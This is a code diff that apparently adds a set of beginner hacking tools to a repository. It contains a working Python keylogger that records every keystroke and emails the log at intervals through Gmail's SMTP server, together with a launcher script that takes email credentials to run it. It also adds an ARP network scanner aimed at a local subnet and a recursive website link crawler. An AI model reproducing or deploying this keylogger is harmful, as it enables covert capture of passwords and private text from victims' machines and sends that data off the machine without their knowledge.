Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 42 additions & 0 deletions tola_atom/Codes/Keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib

class Keylogger:
def __init__(self, time_interval, email, password):
self.log = "Keylogger Started"
self.interval = time_interval
self.email = email
self.password = password
def append_to_log(self, string):
self.log = self.log + string

def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)

def report(self):
print(self.log)
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval , self.report)
timer.start()

def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
34 changes: 34 additions & 0 deletions tola_atom/Codes/Network_Scanner.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#!/usr/bin/env python
import scapy.all as scapy
import optparse

def get_ip():
parser = optparse.OptionParser()
parser.add_option("-s","--IP","--ip",dest="IP_Add",help="Put the IP Address")
return parser.parse_args()

def scan(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] #Here
# we have used "[0]" because we only want to print the answered list,
# as we know that there are two lists which are returned from "SRP", so
# we are going to print answered list as list indexing begins from 0
# hence printing the answered list. USING FOR LOOP

client_list = []
for elements in answered_list:
client_dict = {"ip":elements[1].psrc, "mac": elements[1].hwsrc}
client_list.append(client_dict)
# Note we have elements[1] because we want the second part of the
# list, i.e. second sub list of the main list.
return client_list

def print_result(results_list):
print("IP\t\t\tMAC Address\n--------------------------------------------")
for client in results_list:
print(client["ip"] + "\t\t" + client["mac"])


print_result(scan("192.168.29.1/24"))
27 changes: 27 additions & 0 deletions tola_atom/Codes/crawler2.0.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#!/usr/bin/env python

import requests
import re
import urllib.parse as urlparse

unknown = input("Enter the Website (target url): ")
target_url = "https://" + unknown
target_links = []

def extract_links_from(url):
response = requests.get(url)
return re.findall('(?:href=")(.*?)"', str(response.content))

def crawl(url):
href_links = extract_links_from(url)
for link in href_links:
link = urlparse.urljoin(url, link)

if "#" in link:
link = link.split("#")[0]

if target_url in link and link not in target_links:
target_links.append(link)
print (link)
crawl(link)
crawl(target_url)
9 changes: 9 additions & 0 deletions tola_atom/Codes/keylogger2.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/usr/bin/env python
import Keylogger

email = input("Enter an Email Address: ")
password = input("Enter the Password for the Email: ")
# time_interval = input("Enter the Time Interval After Which You Need the Records : ")

my_keylogger = Keylogger.Keylogger(20,email, password)
my_keylogger.start()